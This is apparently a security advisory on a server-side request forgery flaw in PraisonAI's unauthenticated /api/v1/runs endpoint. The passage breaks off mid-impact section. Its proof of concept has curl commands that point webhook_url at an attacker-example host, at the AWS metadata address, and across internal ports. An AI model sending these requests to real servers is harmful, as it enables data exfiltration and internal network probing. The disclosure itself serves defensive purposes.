PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API
Summary
The /api/v1/runs endpoint accepts an arbitrary webhook_url in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.
Details
The vulnerability exists across the full request lifecycle:
1. User input accepted without validation — models.py:32:
```python
class JobSubmitRequest(BaseModel):
webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")
```
The field is a plain str with no URL validation — no scheme restriction, no host filtering.
2. Stored directly on the Job object — router.py:80-86:
```python
job = Job(
prompt=body.prompt,
...
webhook_url=body.webhook_url,
...
)
```
3. Used in an outbound HTTP request — executor.py:385-415:
```python
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
try:
import httpx
payload = {
"job_id": job.id,
"status": job.status.value,
"result": job.result if job.status == JobStatus.SUCCEEDED else None,
"error": job.error if job.status == JobStatus.FAILED else None,
...
}
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- attacker-controlled URL
json=payload,
headers={"Content-Type": "application/json"}
)
```
4. Triggered on both success and failure paths — executor.py:180-205:
```python
# Line 180-181: on success
if job.webhook_url:
await self._send_webhook(job)
# Line 204-205: on failure
if job.webhook_url:
await self._send_webhook(job)
```
5. No authentication on the Jobs API server — server.py:82-101:
The create_app() function creates a FastAPI app with CORS allowing all origins (["*"]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.
There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.
PoC
Step 1: Start a listener to observe SSRF requests
```bash
# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(length)
print(f'Received POST from PraisonAI server:')
print(json.dumps(json.loads(body), indent=2))
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"
```
Step 2: Submit a job with a malicious webhook_url
```bash
# Point webhook to attacker-controlled server
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://attacker.example.com:9999/steal"
}'
```
Step 3: Target internal services (cloud metadata)
```bash
# Attempt to reach AWS metadata service
curl -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d '{
"prompt": "say hello",
"webhook_url": "http://169.254.169.254/latest/meta-data/"
}'
```
Step 4: Internal network port scanning
```bash
# Scan internal services by observing response timing
for port in 80 443 5432 6379 8080 9200; do
curl -s -X POST http://localhost:8005/api/v1/runs \
-H 'Content-Type: application/json' \
-d "{
\"prompt\": \"say hello\",
\"webhook_url\": \"http://10.0.0.1:${port}/\"
}"
done
```
When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.
Impact
1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.
2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.
3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences an
